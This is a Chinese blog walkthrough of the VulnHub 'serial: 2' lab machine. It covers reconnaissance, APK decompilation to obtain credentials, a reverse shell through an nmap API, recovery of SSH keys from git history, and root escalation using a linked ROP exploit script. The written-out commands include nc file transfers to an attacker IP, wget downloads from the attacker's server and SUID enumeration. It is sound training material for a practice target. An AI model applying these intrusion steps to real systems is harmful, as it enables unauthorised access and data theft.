『VulnHub系列』serial: 2-Walkthrough

靶機地址
難度:中等++
靶機發布日期:2019年9月27日

在這裏插入圖片描述
靶機描述:This box has an intermediate difficulty for the user, I suggest you to enumerate it and use some tools for get the first flag. Note that if you don’t see the flag maybe you should find it in other place 😉.

The hard part is the privilege escalation for the root user, try hard and get the root flag (if you can;))!

If you need an hint, feel free to contact me on Twitter: @sk4pwn

You may have issues using VMware

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

工具、知識點和漏洞

netdiscover
nmap
dirsearch
dirb
gobuster
jadx
git
searchsploit
metaspaloit
burpsuite
Postman

存疑、待解決

  • 關於逆向的問題不是一點兒半點兒~

0x00、信息收集

靶機IP:192.168.0.110

netdiscover -r 192.168.0.0/24

在這裏插入圖片描述
端口和服務

nmap -sS -sV -T4 -A -p- 192.168.0.110

在這裏插入圖片描述

頁面、目錄枚舉

dirb http://192.168.0.110 -X .php,.txt,.zip,.html

在這裏插入圖片描述

python3 dirsearch.py -u http://192.168.0.110 -e .php,.txt,.zip,.html

在這裏插入圖片描述
http://192.168.0.110/

在這裏插入圖片描述
這一上來就是apk逆向嗎?我驚了……嗯~先放一放,先看看別的

首頁展示的一些信息:

New mobile application for network monitoring with a strong basic authentication! Download and try it!
具有強大的基本身份驗證功能的新型移動應用程序,用於網絡監控! 下載並嘗試!

See the ip address of your machine with /api/ip

See the content of arp table with a simply call to /api/arp

Try our new feature for scan an address with /api/nmap! (This is a beta version!)

http://192.168.0.110/api

在這裏插入圖片描述
http://192.168.0.110/LICENSE

下載到一個文件,打開發現是一些許可信息,搜索了一下Blackrock Digital LLC,發現Github上有相關信息,https://github.com/BlackrockDigital,看樣子是作者用了他們的東西,沒啥用

搜索“express middleware”,得知如下信息:

Express 是一個路由和中間件 Web 框架,其自身只具有最低程度的功能:Express 應用程序基本上是一系列中間件函數調用。
中間件函數能夠訪問請求對象 (req)、響應對象 (res) 以及應用程序的請求/響應循環中的下一個中間件函數。下一個中間件函數通常由名爲 next 的變量來表示。
中間件函數可以執行以下任務:
1)執行任何代碼。
2)對請求和響應對象進行更改。
3)結束請求/響應循環。
4)調用堆棧中的下一個中間件函數。
如果當前中間件函數沒有結束請求/響應循環,那麼它必須調用 next(),以將控制權傳遞給下一個中間件函數。否則,請求將保持掛起狀態。

搜索“snet-sensor-mgmt 10000 exploit”
找到https://github.com/Popsiclestick/write-ups/blob/master/NCL-2014/Exploit%202.md,從裏面的內容來推斷,靶機應該使用了Webmin,隨後訪問http://192.168.0.110/unauthenticated

在這裏插入圖片描述
http://192.168.0.108/gulpfile.js

在這裏插入圖片描述

Gulp 是基於 Node.js 的一個前端自動化構建工具,您可以使用它構建自動化工作流程(前端集成開發環境),簡化工作量,從而把重點放在功能的開發上,提高您的開發效率和工作質量。

這可能是作者沒有刪掉,反正沒啥用

訪問http://192.168.0.110:10000/

在這裏插入圖片描述
telnet連接192.168.0.111 10000

在這裏插入圖片描述

0x01、"分析"apk

這部分是現學現賣,如有錯誤或着更好的辦法,懇請告知,先謝過了!!!

閱讀:

第一步,在kali中直接將apk當作壓縮文件進行解壓。雙擊apk即可

在這裏插入圖片描述
第二步,使用d2j-dex2jar將文件夾中的classes.dex轉換成jar包,轉換後的文件名爲classes-dex2jar.jar

d2j-dex2jar classes.dex

在這裏插入圖片描述

第三步,安裝jd-gui

apt-get install jd-gui

在這裏插入圖片描述

第四步,使用jd-gui打開classes-dex2jar.jar即可完成反編譯

在這裏插入圖片描述
這裏有11個classes*.dex文件,所以需要將全部的dex文件轉化爲jar包,然後逐個查看源代碼。但是並沒有發現什麼有用的信息,應該是水平有限看到了也不知道有沒有用~

無奈之下Twitter找作者問了問,簡單的跟他說了一下我發現的東西和下一步的思路,得到的答覆是逆向apk~

在這裏插入圖片描述
在作者沒有回覆的那段時間,我翻了一下他的Tweets,然後發現有一外國哥們兒把自己寫的Walkthrough發在medium上了,地址在這裏VulnHub serial: 2,友情提示需要梯子~

jadx的安裝和使用

apt-get install jadx
jadx-gui

在這裏插入圖片描述
從使用體驗上來說jadx很好很強大,不光反編譯出了源代碼(Source code),同時像之前將apk解壓出來的文件(Resources)也在。一個apk被整體分成四個部分,除了上面兩個之外,還有APK signature和Certificate,並且除了dex類型的文件無法直接查看外,其他文件都可以直接查看。

關於apk解壓後得到的各個部分的含義請參考上面給出的嘶吼的文章,這裏就不重複了。我這裏直接跳到獲取basic_auth的部分了,因爲應該怎麼去分析apk我不懂的,所以就不誤人子弟了,感興趣的大兄弟可以去深入研究一下apk逆向。

在這裏插入圖片描述
使用apk中獲取到的憑證請求/api/nmap接口(之前也注意到了這個,但是不知道怎麼用……菜雞),下面這個工具是Postman,做過軟件開發的應該知道,當然也可以用Brupsuite,我們也就修改一下請求而已

在這裏插入圖片描述
Burpsuite

在這裏插入圖片描述
在這裏插入圖片描述

查看todo.txt,得到for user sk4: create a snapshot of the project!,得到一個用戶名,sk4

在這裏插入圖片描述
查看當前所在目錄爲/serial2,推斷應該是在Docker容器裏面

在這裏插入圖片描述

0x02、反彈shell

在這裏插入圖片描述
根據提示把-e參數放到最後面,結果提示沒有/bin/bash這個文件

在這裏插入圖片描述
把/bin/bash換成/bin/sh後成功反彈shell

在這裏插入圖片描述
現在拿到shell了,但是由於是在docker容器裏面,所以好多命令都執行不了,也沒法跟宿主機交互。一開始想的是escape docker container as root,然後找到了這些文章:

  • https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
  • https://testerhome.com/topics/15799
  • https://www.twistlock.com/labs-blog/escaping-docker-container-using-waitid-cve-2017-5123/
  • https://www.cyberark.com/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host/

無奈看完之後發現可操作性太差……所以只好又去看了看medium上的Walkthrough

git log查看git日誌,但是提示我沒有git not found

在這裏插入圖片描述
在這裏插入圖片描述
關於這個問題我問了作者

在這裏插入圖片描述
壓縮serial2文件夾

tar -zcvf /serial2/serial2.tar.gz /serial2

在這裏插入圖片描述
接下來就是怎麼把serial2.tar.gz下載到kali裏面了,嘗試了nc,但是無法傳輸

nc -l 3333 >serial2.tar.gz # 接收端,IP:192.168.0.108
nc 192.168.0.108 3333 <serial2.tar.gz # 發送端

在這裏插入圖片描述
在這裏插入圖片描述

正常情況下的文件傳輸可以參考這篇文章compressive-guide-on-file-transfer-post-exploitation

後來我想了想能不能把serial2.tar.gz放到webroot目錄下,因爲對node.js下的web項目一無所知,所以一時之間沒找到~不過突然想到我之前下載了serial2.apk,那麼豈不是隻要找到serial2.apk所在的目錄,然後把serial2.tar.gz拷貝進去不就好了?唉,現在纔想到這個辦法

在這裏插入圖片描述
在這裏插入圖片描述
下載到serial2.tar.gz

在這裏插入圖片描述
等我解決了這個問題之後,作者答覆了我的問題

在這裏插入圖片描述
作者說的方法我也試了一遍

在這裏插入圖片描述
讀取git日誌,Q鍵退出

Git 基礎 - 查看提交歷史

tar -xzvf serial2.tar.gz
cd serial2
git log

在這裏插入圖片描述

在這裏插入圖片描述
使用git checkout sha-1獲取指定的歷史版本,也就是獲取之前的包含keys的版本

在這裏插入圖片描述

0x03、錯誤百出的SSH登錄

ssh登錄靶機。由於之前已經獲取到了一個用戶名sk4,現在又獲取到了ssh私鑰,所以嘗試ssh登錄靶機。但這裏遇到了小問題,解決辦法已經在錯誤提示中給出了,如下圖所示,

在這裏插入圖片描述
刪除對應的指紋,重新登錄,隨後又遇到了問題

ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.0.107"
ssh -i id_rsa [email protected]

在這裏插入圖片描述
後將/root/.ssh/known_hosts文件的內容清空,本想應該沒問題了,但是~又報了一個:Permissions 0644 for 'id_rsa' are too open.,問題好多啊,/(ㄒoㄒ)/~~

在這裏插入圖片描述
從字面意思理解,應該是文件權限的問題,隨後我給了777的權限,但是還是報同樣的權限錯誤,不過這次是:Permissions 0777 for 'id_rsa' are too open.。搜索了一下說是chmod 0600 id_rsa可以解決問題,抱着試一下的心態做了一下,結果可以了

在這裏插入圖片描述

在這裏插入圖片描述

0x04、提權

在sk4的home目錄下得到sk4用戶的flag

在這裏插入圖片描述
關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux

先在kali上開啓HTTP服務

python -m SimpleHTTPServer 65534

使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄

因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

爲了便於查看收集到的信息,我將結果輸出到report.txt文本中

python linuxprivchecker.py > report.txt

靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。

SUID權限可執行文件,沒有可用的

find / -perm -u=s -type f 2>/dev/null

常見SUID提權可執行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

全局用戶可寫文件,發現一堆,但是極大多數都是沒用的,所以我先把結果輸出到文本文件,然後使用grep加上關鍵字去篩選。

find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys|app' /tmp/report.txt

在這裏插入圖片描述
查找sudo權限命令,結果需要輸入密碼

sudo -l

查看內核版本,看是否有內核提權的可能

uname -a

在這裏插入圖片描述
結果靶機上沒有安裝gcc,查看了其他幾個exploit,也需要gcc,內核提權這裏就走不通了

在這裏插入圖片描述

搜索“docker提權”

以下文章的內容總結成一句話就是:某個用戶被加入了 docker 用戶組,那麼這個用戶相當於直接獲得了宿主機免認證的 root 權限。

但是sk4用戶並不屬於docker用戶組

在這裏插入圖片描述

searchsploit docker

在這裏插入圖片描述
我個人對這個靶機的提權嘗試到此結束,下面開始“復現”medium的Walkthrough中的提權,歷盡千辛萬苦啊

還記得之前telnet連接10000端口嗎?就是那個backd00r,通過find命令找到了backd00r是位於/bin目錄下的一個可執行文件

find / -name backd00r 2>/dev/null

在這裏插入圖片描述

由於sk4用戶擁有/bin/backd00r的讀取權限,所以我們直接使用cat配合nc將它傳送到kali以供分析

在這裏插入圖片描述
老樣子我還是先自己進行了一番搜索、嘗試,爲此特有到網上找了本Linux二進制分析的書《Learning Linux Binary Analysis》……

在這裏插入圖片描述

首先使用strings命令,得到了一串像是密碼的字符串(後面統稱爲密碼)

在這裏插入圖片描述
在這裏插入圖片描述
起初我在kali上想使用telnet登錄backd00r,結果輸入密碼之後,提示沒有權限。隨後使用sk4用戶登錄系統後直接運行backd00r,輸入密碼之後,登錄了這個後門。

在這裏插入圖片描述
但是在之前運行strings命令時我們也發現了,這個後門默認只允許執行whoami、id、ls、pwd、exit這幾個有限的命令。

在這裏插入圖片描述
file命令獲取後門的信息,發現是Linux中常規的可執行文件ELF

在這裏插入圖片描述
關於ELF文件

In order to reverse-engineer Linux binaries, you must understand the binary format itself. ELF has become the standard binary format for Unix and Unix-flavor OSes. In Linux, BSD variants, and other OSes, the ELF format is used for executables, shared libraries, object files, coredump files, and even the kernel boot image. This makes ELF very important to learn for those who want to better understand reverse engineering, binary hacking, and program execution. Binary formats such as ELF are not generally a quick study, and to learn ELF requires some degree of application of the different components that you learn as you go. Real, hands-on experience is necessary to achieve proficiency. The ELF format is complicated and dry, but can be learned with some enjoyment when applying your developing knowledge of it in reverse engineering and programming tasks. ELF is really quite an incredible composition of computer science at work, with program loading, dynamic linking, symbol table lookups, and many other tightly orchestrated components.

爲了對Linux二進制文件進行逆向工程,您必須瞭解二進制格式本身。 ELF已成爲Unix和Unix風格OS的標準二進制格式。在Linux,BSD變體和其他操作系統中,ELF格式用於可執行文件,共享庫,目標文件,coredump文件,甚至是內核啓動映像。ELF對於那些想要更好地理解逆向、二進制hack和程序執行的人來說非常重要。二進制格式(例如ELF)通常不能快速學習,學習ELF需要一定程度的應用,在學習過程中瞭解的不同組成部分。想要達到熟練程度動手體驗是必需的。 ELF格式複雜且乾燥,但是可以在逆向工程和編程任務中運用您不斷增長的知識很愉快地學習它。 ELF在計算機科學的工作中有着難以置信的地位,包括程序加載,動態鏈接,符號表查詢以及許多其他緊密組合的組件。

下面使用gdb這個工具,kali默認安裝的,不過我們這裏需要爲它安裝一個插件peda,可自行到Github下載

GNU Debugger (GDB) is not only good to debug buggy applications. It can also
be used to learn about a program’s control flow, change a program’s control flow,
and modify the code, registers, and data structures. These tasks are common for a
hacker who is working to exploit a software vulnerability or is unraveling the inner
workings of a sophisticated virus. GDB works on ELF binaries and Linux processes.

GNU調試器(GDB)不僅對調試錯誤的應用程序很有用。 它也可以用於瞭解程序的控制流程,更改程序的控制流程,並修改代碼,寄存器和數據結構。 這些任務對於致力於利用軟件漏洞或破解內部漏洞的黑客複雜病毒的工作原理。 GDB適用於ELF二進制文件和Linux進程。

PEDA是爲GDB設計的一個強大的插件,全稱是Python Exploit Development Assistance for GDB。它提供了很多人性化的功能,比如高亮顯示反彙編代碼、寄存器、內存信息,提高了debug的效率。同時,PEDA還爲GDB添加了一些實用新的命令,比如checksec可以查看程序開啓了哪些安全機制等等。

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

輸入gdb啓動程序

gdb

在這裏插入圖片描述
checksec檢查二進制文件的各種安全選項,發現這個二進制文件啓用了非執行(NX)保護,這意味着將不執行存儲在堆棧中的任何代碼。

在這裏插入圖片描述
另一個重要的一點是,靶機啓用了地址空間佈局隨機化(ASLR),這使我們的探索有些困難,因爲啓用該功能時,某些內存地址是隨機的。

關於這一點可以參考linux漏洞緩解機制介紹

Linux下是否開啓了地址空間佈局隨機化可以通過查看cat /proc/sys/kernel/randomize_va_space。0表示沒有開啓;1表示保留的隨機化。共享庫、棧、mmap()分配的內存空間以及VDSO將被隨機化;2表示完全的隨機化。在1的基礎上,通過 brk()分配的內存空間也將被隨機化。

在這裏插入圖片描述

開始調試,提示沒有權限,ls -l發現沒有執行權限

在這裏插入圖片描述
賦予可執行權限後重新運行

在這裏插入圖片描述
運行backd00r,輸入密碼後,按Ctrl+C中斷程序執行

在這裏插入圖片描述
設置斷點b *login+184,從上圖可以看到有個地址是login+154,這裏我也不知道爲什麼要+30(菜的一塌糊塗),輸入c繼續運行,然後輸入猜測的密碼,比如admin,之後回車即可,程序會自動在login()處停下。

在這裏插入圖片描述
在這裏插入圖片描述
arg[0]對應的就是我們輸入的密碼,arg[1]就是正確的密碼,其實在這之前我們已經用strings命令知道了。因爲medium那篇Walkthrough跳躍性太強,我這裏復現了一下。

之後想到這會不會是root用戶的密碼?試了一下發現不是的。

接下來會用到一個叫做ROP的技術,教程參考:

利用腳本直接從這裏下載:https://raw.githubusercontent.com/andersongomes001/vulnhub/master/serial2/xpl.py

安裝好腳本的依賴庫之後,如果直接運行,可以得到一個root權限的shell,但是,其實是kali的

這裏需要需要安裝pwntools,pip install pwntools,如果這樣安裝有問題,可以先到Github上把pwntools項目clone下來,然後執行setup.py

在這裏插入圖片描述
本來想的是把腳本放到靶機上執行的,結果靶機沒有安裝Python 2.x版本,而且pwntools也是基於Python 2.x版本的,所以只能通過遠程的方式來提權了。

在這裏插入圖片描述
遠程執行的話,需要修改腳本里面的local = False,然後還需要將靶機裏的/lib/x86_64-linux-gnu/libc.so.6下載到kali,使其與腳本在同一目錄下。

nc傳輸/lib/x86_64-linux-gnu/libc.so.6

在這裏插入圖片描述
輸入id,回車之後連接斷開了

在這裏插入圖片描述
之後再執行腳本,靶機的10000端口拒絕連接了……

在這裏插入圖片描述
多次重啓靶機依然是如上情況,最後嘗試重新導入一遍靶機,結果一次就成功了

在這裏插入圖片描述
這個靶機是硬剛的,因爲對逆向不懂,所以只能現學現賣,如果錯誤還望批評指正!!!

如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。更多VulnHub靶機的Walkthrough,請訪問本人博客(https://blog.csdn.net/weixin_44214107)。歡迎掃描下方個人微信二維碼與我交流。我是ins1ght.
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章